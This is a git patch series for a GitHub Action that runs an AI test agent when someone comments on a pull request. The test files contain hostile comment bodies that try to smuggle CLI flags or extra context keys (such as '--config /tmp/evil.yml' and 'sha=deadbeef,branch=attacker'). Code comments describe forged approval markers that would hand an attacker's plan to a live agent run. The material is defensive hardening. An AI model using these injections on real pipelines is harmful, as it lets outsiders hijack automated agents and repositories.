carry edits or none. A bare "go" must not leave the run + * looking for instructions that were never given. */ test("a bare approval carries no edits", () => { const plan = renderApprovedPlan("- case one", "go") @@ -592,7 +592,7 @@ describe("the approved plan handed to the run — FR-43", () => { }) }) -describe("telling an edited approval from a bare one — FR-43", () => { +describe("telling an edited approval from a bare one", () => { test("a bare go carries no edits", () => { for (const bare of ["go", "GO", "go.", "approved", "approve!"]) { assert.equal(hasApproverEdits(bare), false, `"${bare}" is a bare approval`) @@ -610,7 +610,7 @@ describe("telling an edited approval from a bare one — FR-43", () => { }) }) -describe("the proposal carries the plan — FR-38, FR-43", () => { +describe("the proposal carries the plan", () => { /** * The first live run posted a proposal containing only a report header. The * agent had designed nine test cases and verified them; none of it reached @@ -647,7 +647,7 @@ describe("the proposal carries the plan — FR-38, FR-43", () => { }) }) -describe("renderJobSummary — the saved work (FR-43)", () => { +describe("renderJobSummary — the saved work", () => { test("shows what was committed to the branch", () => { const out = renderJobSummary({ outcome: "Succeeded", @@ -662,12 +662,12 @@ describe("renderJobSummary — the saved work (FR-43)", () => { }) }) -describe("findSupersededProposal — telling a stale plan from silence (FR-44)", () => { +describe("findSupersededProposal — telling a stale plan from silence", () => { /** * Defect found live on 2026-10-29. Someone replied "go" after the branch * had moved on, and was told: * - * "No @test-companion mention, so nothing was asked of Test Companion." + * "No @test-companion mention, so nothing was asked of Test Companion." * * Wrong twice. They DID give a valid approval word, and the real reason is * that their plan was for an earlier commit. The guard that drops @@ -714,17 +714,17 @@ describe("findSupersededProposal — telling a stale plan from silence (FR-44)", }) }) -describe("the proposal marker carries the JOB, not just the commit (FR-43)", () => { +describe("the proposal marker carries the JOB, not just the commit", () => { /** - * Reported in review of PR #3101. The marker recorded the commit and the - * requester and nothing else. On the GO path `intent.workflow` is + * The marker used to record the commit and the requester and nothing + * else. On the GO path `intent.workflow` is * undefined, so `plan.workflow` was never set and the CLI resolved the * binding itself from `--event pr_comment` — MatchEvent(...)[0], whichever * is first in the file. * * So on a repository with two pr_comment bindings: ask for `fix`, read a * proposal for `fix`, reply `go`, and something else runs live with - * --yolo. FR-43 is "what you saw is what runs"; nothing carried the job + * yolo. is "what you saw is what runs"; nothing carried the job * across. */ test("the marker records the workflow", () => { @@ -760,7 +760,7 @@ describe("the proposal marker carries the JOB, not just the commit (FR-43)", () }) }) -describe("checkRequestFor — one check per commit, not three (FR-48)", () => { +describe("checkRequestFor — one check per commit, not three", () => { test("the first check on a commit is created", () => { assert.deepEqual(checkRequestFor("abc", new Map()), { method: "POST", path: "check-runs" }) }) @@ -793,7 +793,7 @@ describe("the two marker readers must not drift apart", () => { * you are told "No @test-companion mention" again. * * The old tests missed it because the superseded block hand-wrote its - * fixture while the new marker tests only ever fed proposalMarkerFor() + * fixture while the new marker tests only ever fed proposalMarkerFor * output to findProposal. Nothing crossed the two. These do. */ const bot = (body, id = 1) => ({ user: { type: "Bot", login: US }, id, body: `a plan\n\n${body}` }) @@ -923,11 +923,9 @@ describe("renderJobSummary — the answer is the report, for jobs that only answ }) /** - * Semgrep flagged `new RegExp(shaPattern)` as a possible ReDoS (finding 9 on - * browserstack/github-actions#91). Both callers already escaped, so the - * finding was a false positive — but it was only false because every caller - * remembered. These pin that it is now the helper's job, which is what makes - * the answer stay true. + * Building `new RegExp(shaPattern)` was safe only because every caller + * remembered to escape. These pin that the escaping is now the helper's job, + * which is what makes the answer stay true. */ describe("a proposal marker search is built from literals, never from raw input", () => { test("a sha with regex metacharacters matches itself and nothing else", () => { @@ -956,16 +954,14 @@ describe("a proposal marker search is built from literals, never from raw input" }) /** - * Review of PR #3101, blocker B1. - * * The "in progress" check is posted BEFORE the CLI runs, so a later `stop` * has something to cancel. Two paths then left it pending forever: * * - a skip after the check was posted (no binding, which is most events) - * exited without completing it; + * exited without completing it; * - a crash posted its check against GITHUB_SHA, which on a comment run is - * the DEFAULT BRANCH's commit — so the crash check landed on main and the - * pull request's check stayed stuck. + * the DEFAULT BRANCH's commit — so the crash check landed on main and the + * pull request's check stayed stuck. * * Both need the same thing: the commit we already posted on. */ @@ -994,10 +990,8 @@ describe("the commit a pending check belongs to", () => { }) /** - * Review of PR #3101, M2. The worst of the set. - * * "Any bot is us" was the whole identity check. Another App installed on the - * repository — or `github-actions[bot]` driven by any other workflow in it — + * repository — or `github-actions[bot]` driven by any other workflow in it * could post a comment carrying our proposal marker for the head sha. A * maintainer's `go` then handed that body to a live `--yolo` run as the * approved plan. The attacker needs no write access; they need a workflow, @@ -1050,16 +1044,14 @@ describe("only OUR OWN comments count as ours", () => { }) /** - * Review of PR #3101, M5. - * * Approving a proposal left no trace that it had been approved. Three things * followed from that one gap: * * - a second `go` found the same proposal and ran the job again; * - the proposal's in-progress check was never adopted, so it stayed pending - * beside the real run's check; + * beside the real run's check; * - a day later the sweep said "that proposal went a day without a reply" - * about a proposal that had been approved and had already run. + * about a proposal that had been approved and had already run. * * And `stop` had the same gap from the other side: the comment told people * "say stop to drop it", and stop cancelled runs without dropping anything. @@ -1099,8 +1091,6 @@ describe("a proposal that has been used up is not waiting any more", () => { }) /** - * Found by the live run that verified M5 (run 41067235005). - * * The consumed marker worked — a second `go` did not rerun the job. But the * REPLY was wrong: it said "that plan was for an earlier commit", because * with nothing waiting the code reaches for a superseded proposal, and an @@ -1145,7 +1135,7 @@ describe("a plan that was already used says so, rather than blaming the commit", }) /** - * STM-5434: now that EVERY job's answer reaches the comment, the comment can + * : now that EVERY job's answer reaches the comment, the comment can * be too big to post. * * GitHub refuses a body over 65,536 characters outright — the call fails and @@ -1402,9 +1392,9 @@ describe("the report says which request it is answering", () => { }) /** - * CodeRabbit, PR #3286. `view` feeds three sinks and only the comment was + * `view` feeds three sinks and only the comment was * bounded. A check run's `output.summary` over 65,535 characters is a 422; - * gh() turns that into a warning and returns null, so the "Running" check + * gh turns that into a warning and returns null, so the "Running" check * posted before the run is never completed and sits in_progress for ever. */ describe("renderCheckSummary — bounded like the comment", () => { diff --git a/test-companion/test/runs.test.mjs b/test-companion/test/runs.test.mjs index a929800..7721237 100644 --- a/test-companion/test/runs.test.mjs +++ b/test-companion/test/runs.test.mjs @@ -10,7 +10,7 @@ const inProgress = (id, over = {}) => ({ ...over, }) -describe("chooseRunsToCancel — FR-35", () => { +describe("chooseRunsToCancel", () => { test("cancels a run in flight on the same commit", () => { assert.deepEqual(chooseRunsToCancel([inProgress(1)], { selfRunId: "99", headSha: "abc123" }), [1]) }) @@ -63,7 +63,7 @@ describe("chooseRunsToCancel — FR-35", () => { }) }) -describe("runIdsFromChecks — finding OUR in-flight runs on a commit (FR-35)", () => { +describe("runIdsFromChecks — finding OUR in-flight runs on a commit", () => { /** * The defect this replaces. cancelRunsOn asked GitHub for * `actions/runs?head_sha=`, but a run started by @@ -75,7 +75,7 @@ describe("runIdsFromChecks — finding OUR in-flight runs on a commit (FR-35)", * A run's own `pull_requests` field is NOT the answer: for an * issue_comment run it reports the pull request whose HEAD is the * checked-out branch, which is a different pull request entirely. Observed: - * a run for PR #22 reporting number 18. + * a run for reporting number 18. * * So the handle is our own check run. It is posted on the pull request's * head commit, it carries the run id in external_id, and nobody else diff --git a/test-companion/test/starter.test.mjs b/test-companion/test/starter.test.mjs index 87c65bc..c35bed3 100644 --- a/test-companion/test/starter.test.mjs +++ b/test-companion/test/starter.test.mjs @@ -31,10 +31,10 @@ describe("pipelineConfigPath — the same file the CLI would read", () => { }) }) -describe("no pipeline file — FR-13", () => { +describe("no pipeline file", () => { // Installing the Action and getting a red build with "open // testcompanion-pipeline.yml: no such file or directory" is the worst - // possible first run. FR-13: a clean pass, and the file they need. + // possible first run.: a clean pass, and the file they need. test("the report says plainly that nothing is configured yet", () => { const out = renderNoPipelineReport("testcompanion-pipeline.yml") assert.match(out, /testcompanion-pipeline\.yml/) @@ -70,11 +70,11 @@ describe("no pipeline file — FR-13", () => { }) }) -describe("which branch the settings file is read from — FR-7", () => { +describe("which branch the settings file is read from", () => { /** * The safety fix. Read from the branch under test, a pull request can edit * its own rules and be obeyed: switch itself from preview to live, delete its - * own spending limit, or name its own Test Management destination. FR-7: + * own spending limit, or name its own Test Management destination.: * read from the default branch, so an edit takes effect only once it merges. */ test("the repository's default branch, not the branch under test", () => { @@ -98,9 +98,9 @@ describe("which branch the settings file is read from — FR-7", () => { }) }) -describe("the starter file matches the install defaults — FR-13", () => { +describe("the starter file matches the install defaults", () => { /** - * FR-13: "'Test this PR' started by comment, review-before-run, live; every + * "'Test this PR' started by comment, review-before-run, live; every * other binding in preview." * * Live AND gated is the safe pairing, not a contradiction: a gated request @@ -141,7 +141,7 @@ describe("the starter file matches the install defaults — FR-13", () => { }) }) -describe("the starter reflects the detected framework — FR-13", () => { +describe("the starter reflects the detected framework", () => { test("a detected framework is recorded in the file", () => { assert.match(starterPipelineFor("Playwright"), /Playwright/) }) @@ -194,7 +194,7 @@ describe("the starter workflow points somewhere that exists", () => { * pinned install with no checksum ("refusing an unverified pinned * install"), the step runs under `set -euo pipefail`, and every repository * that copied the starter would have died on its first run with no comment - * and no check. Reported in review of PR #3101. + * and no check. * * The rule is a PAIR: an ACTIVE `cli-version:` requires an active * `cli-sha256:`. Commented-out guidance is fine and is how the starter now @@ -225,16 +225,14 @@ describe("the starter workflow points somewhere that exists", () => { }) /** - * Review of PR #3101, blocker B2. - * * A closed pull request is a CONTROL event: it exists to act on a run that is * already going. Sharing a concurrency group with that run, with * `cancel-in-progress: false`, meant it queued behind the very thing it was * sent to end and only ran once that had finished on its own. * - * `stop` used to be the other one. It was removed with the feature (STM-5434 - * demo feedback, item 7); the lane stays for the closed pull request, which is - * FR-36 and did not go anywhere. See stop-removed.test.mjs. + * `stop` used to be the other one. It was removed with the feature; the lane + * stays for the closed pull request, which did not go anywhere. See + * stop-removed.test.mjs. */ describe("control events do not queue behind the run they act on", () => { const starter = readFileSync(new URL("../starter-workflow.yml", import.meta.url), "utf8") @@ -257,7 +255,7 @@ describe("control events do not queue behind the run they act on", () => { }) /** - * Review of PR #3101, M9. Every comment on every pull request booted a + * Every comment on every pull request used to boot a * runner, cloned the repository, installed the CLI and signed in to * BrowserStack — and then decided it had not been addressed. On a busy * repository that is most of the runs, and each one also joined the diff --git a/test-companion/test/stop-removed.test.mjs b/test-companion/test/stop-removed.test.mjs index fe180fb..c9f2987 100644 --- a/test-companion/test/stop-removed.test.mjs +++ b/test-companion/test/stop-removed.test.mjs @@ -5,7 +5,7 @@ import { readIntent, INTENT, CAPABILITIES } from "../src/intent.mjs" import { renderProposal, renderStopRemoved, renderUnknownRequest } from "../src/report.mjs" /** - * `stop` is gone — STM-5434 demo feedback, item 7. + * `stop` is gone. * * It did two things: cancelled a run in flight, and dropped a plan waiting for * approval. Neither survives. GitHub's own cancel button ends a run, and a plan @@ -50,7 +50,7 @@ describe("the starter workflow keeps the control lane for closed pull requests", const group = starter.slice(starter.indexOf("concurrency:"), starter.indexOf("\njobs:")) /** - * CHANGED by the review of #3286. Taking `stop` out of the lane put it in + * Taking `stop` out of its own lane would put it in * the WORK group, which has `cancel-in-progress: false` and keeps only one * pending run — so a `stop` comment could evict a queued `go`, and all it * does now is reply. The lane is cheap; the eviction is not. @@ -62,9 +62,9 @@ describe("the starter workflow keeps the control lane for closed pull requests", /** * The feedback said the `-control` suffix "exists only so a stop comment * lands in a separate lane". It does not: a CLOSED pull request is a - * control event too, and cancelling its run is FR-36, which stays. Removing + * control event too, and cancelling its run is, which stays. Removing * the suffix outright would put that cancel back in the queue behind the - * very run it is sent to end — blocker B2, reintroduced. + * very run it is sent to end. */ test("a closed pull request still gets one", () => { assert.match(group, /github\.event\.action == 'closed'/) diff --git a/test-companion/test/ticket.test.mjs b/test-companion/test/ticket.test.mjs index ec1784b..4ccdb2e 100644 --- a/test-companion/test/ticket.test.mjs +++ b/test-companion/test/ticket.test.mjs @@ -2,7 +2,7 @@ import { test, describe } from "node:test" import assert from "node:assert/strict" import { findTicket } from "../src/ticket.mjs" -describe("findTicket — FR-37", () => { +describe("findTicket", () => { test("from the branch, which is where it usually is", () => { assert.equal(findTicket({ branch: "feat/SHOP-221-add-discount-code" }), "SHOP-221") }) @@ -61,7 +61,7 @@ describe("findTicket — FR-37", () => { // The lookbehind makes the match start at the X, so this reads as the // project XSHOP — which is a perfectly good key — rather than quietly - // slicing SHOP-221 out of the middle of a word. + // slicing out of the middle of a word. test("a longer project key is read whole, not sliced", () => { assert.equal(findTicket({ title: "XSHOP-221" }), "XSHOP-221") }) From ddb7d186c3fc022ba32a26d431168e1485176a40 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Thu, 5 Nov 2026 15:16:37 +0530 Subject: [PATCH 39/49] feat: address the Action as @browserstack, and only as a whole word People now ask for a run by commenting @browserstack, the name the GitHub App posts under, so the name they type matches the name that replies. @test-companion no longer does anything. Only the word on its own counts. The old check was "does the comment contain the text", which would have started a run for an email address (someone@browserstack.com), a team mention or npm scope (@browserstack/qa), a longer name (@browserstack-team) and the App's own bot account (@browserstack[bot]). Removing the mention from the instructions now leaves those intact too. The starter workflow's pre-check can still only test "contains", so a comment with an email address starts a short job that then stops without posting anything. Its comment now says so, so nobody tightens it and drops real requests. Also mends two comments the public-repo cleanup left broken. Co-Authored-By: Claude Opus 5.5 --- test-companion/README.md | 2 +- test-companion/src/intent.mjs | 4 +- test-companion/src/main.mjs | 4 +- test-companion/src/plan-run.mjs | 30 ++++-- test-companion/src/report.mjs | 2 +- test-companion/src/starter.mjs | 2 +- test-companion/starter-workflow.yml | 21 ++-- .../test/approval-targeting.test.mjs | 6 +- test-companion/test/imports.test.mjs | 2 +- test-companion/test/plan-run.test.mjs | 102 ++++++++++++++---- test-companion/test/report.test.mjs | 6 +- test-companion/test/starter.test.mjs | 8 +- 12 files changed, 142 insertions(+), 47 deletions(-) diff --git a/test-companion/README.md b/test-companion/README.md index 54ae66f..8cf2f47 100644 --- a/test-companion/README.md +++ b/test-companion/README.md @@ -2,7 +2,7 @@ Ask BrowserStack Test Companion for test work from a pull request. -Comment `@test-companion test this PR` and it reads the change, proposes the +Comment `@browserstack test this PR` and it reads the change, proposes the tests it would write, and writes them once someone replies `go`. The result comes back as one comment and one check. diff --git a/test-companion/src/intent.mjs b/test-companion/src/intent.mjs index e172b61..85b021f 100644 --- a/test-companion/src/intent.mjs +++ b/test-companion/src/intent.mjs @@ -1,7 +1,7 @@ /** * What did the comment ask for? * - * "@test-companion fix the failing tests" becomes a job name here, in the + * "@browserstack fix the failing tests" becomes a job name here, in the * Action, before the CLI is spawned. Handing the sentence to the agent * instead would spend the customer's credits discovering that "make coffee" * was never a job. @@ -24,7 +24,7 @@ export const INTENT = Object.freeze({ GO: "go", /** Open the pull request that adds a starter pipeline file. */ SETUP: "setup", - /** We could not place it.: reply with the list, run nothing. */ + /** We could not place it: reply with the list, run nothing. */ UNKNOWN: "unknown", }) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 9918331..3dd7a57 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -395,7 +395,7 @@ function readEventUncached() { function finishSkipped(reason, detail) { const human = { "not-a-pull-request": "That comment was on an issue, not a pull request.", - "not-addressed-to-us": "No @test-companion mention, so nothing was asked of Test Companion.", + "not-addressed-to-us": "No @browserstack mention, so nothing was asked of Test Companion.", "proposal-superseded": "The plan being approved was for an earlier commit, so it was not run.", "proposal-already-run": "That plan was already approved and run on this commit.", "proposal-dropped": "That plan was stopped, so there was nothing left to approve.", @@ -672,7 +672,7 @@ async function main() { // // Unless a plan we put up has been left behind by a newer commit. Then // they were talking to us, they used a word we accept, and telling them - // "no @test-companion mention" is both wrong and unhelpful — the reason + // "no @browserstack mention" is both wrong and unhelpful — the reason // is sitting in the comment history. if (plan.approvalOnly && !waiting) { // Already approved, or already stopped. Checked BEFORE the diff --git a/test-companion/src/plan-run.mjs b/test-companion/src/plan-run.mjs index 7aea45c..e313938 100644 --- a/test-companion/src/plan-run.mjs +++ b/test-companion/src/plan-run.mjs @@ -27,8 +27,25 @@ export const TC_EVENTS = Object.freeze({ SCHEDULE: "schedule", }) -/** How a run is addressed in a comment. */ -const MENTION = "@test-companion" +/** + * How a run is addressed in a comment: @browserstack, the name the GitHub App + * posts under, so the name people type matches the name that replies. + * + * Only the word on its own counts. "browserstack" also turns up in text that + * is not addressed to us, and each of these must NOT start a run: + * + * - an email address, someone@browserstack.com (a word character before @); + * - a team mention or npm scope, @browserstack/qa (a slash after); + * - a longer name, @browserstack-team or @browserstack_ci (a word character + * or hyphen after); + * - the App's own bot account, @browserstack[bot]; + * - a domain, @browserstack.com (a dot followed by more of the name). A dot + * that ends a sentence, "thanks @browserstack.", still counts. + * + * Case-insensitive, because people type BrowserStack. + */ +const MENTION = /(^|[^\w.+@-])@browserstack(?![\w\-/[]|\.\w)/i +const MENTIONS = new RegExp(MENTION.source, "gi") /** * The CLI rejects a context value that begins with `-` (CWE-88), and a pull @@ -72,7 +89,7 @@ const ALLOWED_CONTEXT_KEYS = new Set([ /** * `--context` is a comma-separated `k=v` list, so a value containing `,` or - * `=` can append keys of its own — "@test-companion go,sha=deadbeef" would + * `=` can append keys of its own — "@browserstack go,sha=deadbeef" would * redirect the run at another commit. Comments and titles are * attacker-controlled on a public repo, so the separators are removed rather * than escaped: readable prose matters more than its punctuation. @@ -205,7 +222,7 @@ function fromComment(payload, inputs) { if (!payload.issue?.pull_request) return skip("not-a-pull-request") const body = payload.comment?.body ?? "" - const addressed = body.toLowerCase().includes(MENTION) + const addressed = MENTION.test(body) // A bare approval needs no mention: the proposal says "Reply go to run // this for real", and people do exactly that. @@ -225,7 +242,8 @@ function fromComment(payload, inputs) { // Everything after the mention is what the person actually asked for. The // mention itself is addressing, not instruction, so it is stripped. - const instructions = body.replace(new RegExp(MENTION, "ig"), "").replace(/\s+/g, " ").trim() + // The character before the mention is part of the match, so put it back. + const instructions = body.replace(MENTIONS, "$1").replace(/\s+/g, " ").trim() return { event: TC_EVENTS.PR_COMMENT, @@ -300,7 +318,7 @@ function fromPullRequest(payload, repo) { // commit-scoped prompt — "the change in PR #N, commit SHA … covering only // what that change touches" — ONLY when no subject is given. Sending the // title made `generate` write cases for the title rather than the diff, - // which is the opposite of. + // when a run should only ever work on the change that triggered it. context: { sha: p.head?.sha, branch: p.head?.ref, pr: String(p.number) }, } } diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index 517954e..eb56233 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -458,7 +458,7 @@ export function renderProposal(body, sha, requester, workflow) { return [ body, "", - "Reply **go** to run this for real. Nothing is written until you do. To change the list first, reply **@test-companion go** with your edits. Leave it and it stops being approvable after a day.", + "Reply **go** to run this for real. Nothing is written until you do. To change the list first, reply **@browserstack go** with your edits. Leave it and it stops being approvable after a day.", "", proposalMarkerFor(sha, requester, workflow), ].join("\n") diff --git a/test-companion/src/starter.mjs b/test-companion/src/starter.mjs index c40e800..da5bc32 100644 --- a/test-companion/src/starter.mjs +++ b/test-companion/src/starter.mjs @@ -42,7 +42,7 @@ workflows: time: 20m credits: 300 - # Ask for anything by commenting "@test-companion ..." on a pull request. + # Ask for anything by commenting "@browserstack ..." on a pull request. # # Live AND gated, which is the safe pairing rather than a contradiction: a # gated request first runs in preview to produce its proposal, and only a run diff --git a/test-companion/starter-workflow.yml b/test-companion/starter-workflow.yml index 0f2ed08..1f341c0 100644 --- a/test-companion/starter-workflow.yml +++ b/test-companion/starter-workflow.yml @@ -14,7 +14,7 @@ name: Test Companion on: - # Ask for something by commenting "@test-companion." on a pull request. + # Ask for something by commenting "@browserstack." on a pull request. issue_comment: types: [created] # A pull request opening or receiving commits. @@ -49,7 +49,7 @@ concurrency: # onto one group named after the default branch: a comment on PR A, a # comment on PR B, the nightly schedule and a red-build run all queued # together. GitHub keeps one pending run per group, so a reviewer's - # @test-companion request could be cancelled by an unrelated push. + # @browserstack request could be cancelled by an unrelated push. # # issue_comment carries the PR number as `issue.number`; everything else # falls back to the run id, which is unique, so those events never share a @@ -81,12 +81,21 @@ jobs: # BrowserStack, only to decide "not addressed to us" and stop. On a # busy repository that is most of the runs. # - # The second and third lines are the bare approval: a proposal says - # "reply go", and people reply without a mention. String comparison in - # these expressions is case-insensitive, so `Go` is covered. + # This is a quick, loose first filter, not the real decision. These + # expressions can only test whether the text CONTAINS something, so a + # comment holding an email address such as someone@browserstack.com + # still gets through. The Action then reads the comment properly, sees + # it was not addressed to it, and stops without posting anything on + # the pull request. The cost is one short job in the Actions tab. Do + # not try to tighten this line: anything stricter than "contains" here + # would also drop real requests. + # + # The last two lines are the bare approval: a proposal says "reply + # go", and people reply without a mention. String comparison in these + # expressions is case-insensitive, so `Go` is covered. if: >- github.event_name != 'issue_comment' - || contains(github.event.comment.body, '@test-companion') + || contains(github.event.comment.body, '@browserstack') || startsWith(github.event.comment.body, 'go') || startsWith(github.event.comment.body, 'approve') # With the Test Companion GitHub App installed, this whole block can be diff --git a/test-companion/test/approval-targeting.test.mjs b/test-companion/test/approval-targeting.test.mjs index 9ea4809..f35e6a4 100644 --- a/test-companion/test/approval-targeting.test.mjs +++ b/test-companion/test/approval-targeting.test.mjs @@ -179,7 +179,7 @@ describe("naming a plan does not need the mention", () => { * learned about `go `, and the gate in plan-run.mjs that decides * whether an UNADDRESSED comment reaches us at all did not — it still * only accepted a bare `go`. So `go ` was dropped as "no - * @test-companion mention" before the intent was ever read, and naming a + * @browserstack mention" before the intent was ever read, and naming a * plan only worked if you also addressed the comment. * * Still narrow. `go` followed by a plan reference and nothing else is @@ -264,12 +264,12 @@ describe("naming a plan is not editing it", () => { describe("a plan reference has to sit next to the approval", () => { /** * . GO_TARGET matched a `#id` anywhere in the comment, so - * "@test-companion go — and pull the steps from #issuecomment-…" + * "@browserstack go — and pull the steps from #issuecomment-…" * became an approval of a plan that does not exist, and was refused. */ test("a link quoted later in the sentence is not a plan reference", () => { const got = readIntent( - "@test-companion go — and pull the steps from https://github.com/o/r/pull/9#issuecomment-2345678901", + "@browserstack go — and pull the steps from https://github.com/o/r/pull/9#issuecomment-2345678901", { proposalWaiting: true, }, diff --git a/test-companion/test/imports.test.mjs b/test-companion/test/imports.test.mjs index 00867e3..c0b8e36 100644 --- a/test-companion/test/imports.test.mjs +++ b/test-companion/test/imports.test.mjs @@ -82,7 +82,7 @@ describe("every src module is reachable", () => { }) /** - * Found by a live run, run 41048725625. Asking "@test-companion explain why + * Found by a live run, run 41048725625. Asking "@browserstack explain why * the contract check is failing" worked: the Action found the red build and * passed it to the CLI. Replying "go" to the proposal it put up did NOT * the CLI was spawned with no build at all and died with diff --git a/test-companion/test/plan-run.test.mjs b/test-companion/test/plan-run.test.mjs index 68bb852..f51c9de 100644 --- a/test-companion/test/plan-run.test.mjs +++ b/test-companion/test/plan-run.test.mjs @@ -18,11 +18,11 @@ const pr = (over = {}) => ({ const plan = (eventName, payload, over = {}) => planRun({ eventName, payload, inputs: {}, repo: "acme/shop", ...over }) describe("comment trigger", () => { - test("a @test-companion comment on a pull request starts a run", () => { + test("a @browserstack comment on a pull request starts a run", () => { const r = plan("issue_comment", { action: "created", issue: { number: 412, pull_request: { url: "x" } }, - comment: { body: "@test-companion test this PR against SHOP-221", user: { login: "dev" } }, + comment: { body: "@browserstack test this PR against SHOP-221", user: { login: "dev" } }, }) assert.equal(r.skip, undefined) assert.equal(r.event, TC_EVENTS.PR_COMMENT) @@ -35,17 +35,17 @@ describe("comment trigger", () => { const r = plan("issue_comment", { action: "created", issue: { number: 412, pull_request: { url: "x" } }, - comment: { body: "@test-companion test this PR against SHOP-221", user: { login: "dev" } }, + comment: { body: "@browserstack test this PR against SHOP-221", user: { login: "dev" } }, }) assert.match(r.context.instructions, /SHOP-221/) - assert.doesNotMatch(r.context.instructions, /@test-companion/, "the mention itself is not an instruction") + assert.doesNotMatch(r.context.instructions, /@browserstack/, "the mention itself is not an instruction") }) test("ignores a comment on an issue that is not a pull request", () => { const r = plan("issue_comment", { action: "created", issue: { number: 9 }, - comment: { body: "@test-companion test this", user: { login: "dev" } }, + comment: { body: "@browserstack test this", user: { login: "dev" } }, }) assert.equal(r.skip.reason, "not-a-pull-request") }) @@ -65,7 +65,7 @@ describe("comment trigger", () => { const r = plan("issue_comment", { action: "edited", issue: { number: 412, pull_request: { url: "x" } }, - comment: { body: "@test-companion test this", user: { login: "dev" } }, + comment: { body: "@browserstack test this", user: { login: "dev" } }, }) assert.equal(r.skip.reason, "comment-edited") }) @@ -216,7 +216,7 @@ describe("safety", () => { const r = plan("issue_comment", { action: "created", issue: { number: 412, pull_request: { url: "x" } }, - comment: { body: "@test-companion --yolo --max-cost 9999", user: { login: "dev" } }, + comment: { body: "@browserstack --yolo --max-cost 9999", user: { login: "dev" } }, }) assert.equal(r.skip.reason, "unsafe-context") }) @@ -273,7 +273,7 @@ describe("context values cannot inject extra keys", () => { const r = plan("issue_comment", { action: "created", issue: { number: 412, pull_request: { url: "x" } }, - comment: { body: "@test-companion test it,sha=deadbeef,branch=attacker", user: { login: "d" } }, + comment: { body: "@browserstack test it,sha=deadbeef,branch=attacker", user: { login: "d" } }, }) assert.equal(r.skip, undefined) assert.doesNotMatch(r.context.instructions, /[,=]/, "separators must not survive into a context value") @@ -389,7 +389,7 @@ describe("a pull request does not send its title as the subject", () => { // // The issue_comment plan carries `pr` but no `sha`, so checkSha fell back to // GITHUB_SHA — the default branch tip for that event — and the starter's -// checkout took the default branch too. `@test-companion generate` on +// checkout took the default branch too. `@browserstack generate` on // therefore read main, and the check landed on main's latest commit. describe("withPullRequestHead — a comment run must name the PR's own commit", () => { const plan = () => ({ event: "pr_comment", context: { pr: "42", instructions: "generate" } }) @@ -433,7 +433,7 @@ describe("a bare approval reaches us", () => { /** * Found by the first approved run. The proposal comment says "Reply **go** * to run this for real", a person replies exactly that, and the run skipped - * with "No @test-companion mention, so nothing was asked of Test Companion". + * with "No @browserstack mention, so nothing was asked of Test Companion". * * The proposal was instructing an action that could not work. says "a * reply of 'go'", and the PRD's own user story has the SDET replying "go" @@ -471,7 +471,7 @@ describe("a bare approval reaches us", () => { const addressed = planRun({ eventName: "issue_comment", - payload: comment("@test-companion go, but drop case two"), + payload: comment("@browserstack go, but drop case two"), repo: "acme/shop", }) assert.equal(addressed.skip, undefined) @@ -492,7 +492,7 @@ describe("a bare approval reaches us", () => { }) test("an addressed comment is unchanged and is not an approval-only one", () => { - const out = planRun({ eventName: "issue_comment", payload: comment("@test-companion test this PR"), repo: "acme/shop" }) + const out = planRun({ eventName: "issue_comment", payload: comment("@browserstack test this PR"), repo: "acme/shop" }) assert.equal(out.skip, undefined) assert.ok(!out.approvalOnly) }) @@ -603,16 +603,16 @@ describe("the flag guard sees the FINAL value, not the raw one", () => { const run = (body) => planRun({ eventName: "issue_comment", repo: "acme/shop", payload: comment(body) }) test("a bare flag is refused — the case that already worked", () => { - assert.equal(run("@test-companion --config /tmp/evil.yml").skip?.reason, "unsafe-context") + assert.equal(run("@browserstack --config /tmp/evil.yml").skip?.reason, "unsafe-context") }) test("a flag smuggled past the guard by a separator is refused too", () => { - const out = run('@test-companion ",--config /tmp/evil.yml"') + const out = run('@browserstack ",--config /tmp/evil.yml"') assert.equal(out.skip?.reason, "unsafe-context", `leaked: ${JSON.stringify(out.context?.instructions)}`) }) test("an ordinary request still gets through untouched", () => { - const out = run("@test-companion test this PR") + const out = run("@browserstack test this PR") assert.equal(out.skip, undefined) assert.equal(out.context.instructions, "test this PR") }) @@ -625,7 +625,7 @@ describe("the flag guard sees the FINAL value, not the raw one", () => { * "but rename X" carried in as approver edits that win. * * Unaddressed, the comment must now BE the approval and nothing else. - * Addressed, "@test-companion go and also cover X" still works: that is + * Addressed, "@browserstack go and also cover X" still works: that is * "you can edit the list first", and they did address us. */ describe("an unaddressed comment counts as approval only when it is exactly that", () => { @@ -653,7 +653,7 @@ describe("an unaddressed comment counts as approval only when it is exactly that }) test("addressed, edits alongside the approval are still allowed", () => { - const plan = comment("@test-companion go, and also cover the empty-cart case") + const plan = comment("@browserstack go, and also cover the empty-cart case") assert.equal(plan.skip, undefined) assert.match(plan.context.instructions, /also cover the empty-cart case/) }) @@ -672,7 +672,7 @@ describe("the asking comment is carried through", () => { const r = plan("issue_comment", { action: "created", issue: { number: 412, pull_request: { url: "x" } }, - comment: { body: "@test-companion explain this failure", user: { login: "dev" }, html_url: at }, + comment: { body: "@browserstack explain this failure", user: { login: "dev" }, html_url: at }, }) assert.equal(r.askedAt, at) assert.equal(r.commenter, "dev") @@ -682,7 +682,7 @@ describe("the asking comment is carried through", () => { const r = plan("issue_comment", { action: "created", issue: { number: 412, pull_request: { url: "x" } }, - comment: { body: "@test-companion explain this failure", user: { login: "dev" } }, + comment: { body: "@browserstack explain this failure", user: { login: "dev" } }, }) assert.equal(r.skip, undefined) assert.equal(r.askedAt, undefined) @@ -694,3 +694,67 @@ describe("the asking comment is carried through", () => { assert.equal(r.askedAt, undefined) }) }) + +/** + * People address the Action as @browserstack, the name the GitHub App posts + * under, so the name they type matches the name that replies. + * + * "browserstack" also appears in text that is NOT addressed to us: email + * addresses (someone@browserstack.com), GitHub team mentions + * (@browserstack/qa), npm package scopes (@browserstack/wdio-service) and the + * App's own bot account (@browserstack[bot]). A plain "does the comment + * contain @browserstack" check would start a run for every one of those, so + * only the word on its own counts. + */ +describe("the @browserstack mention", () => { + const comment = (body) => ({ + action: "created", + issue: { number: 7, pull_request: {} }, + comment: { body, user: { login: "dev" } }, + }) + const run = (body) => planRun({ eventName: "issue_comment", payload: comment(body), repo: "acme/shop" }) + + test("addresses us wherever it stands, in any case", () => { + for (const body of [ + "@browserstack test this PR", + "@BrowserStack test this PR", + "hey 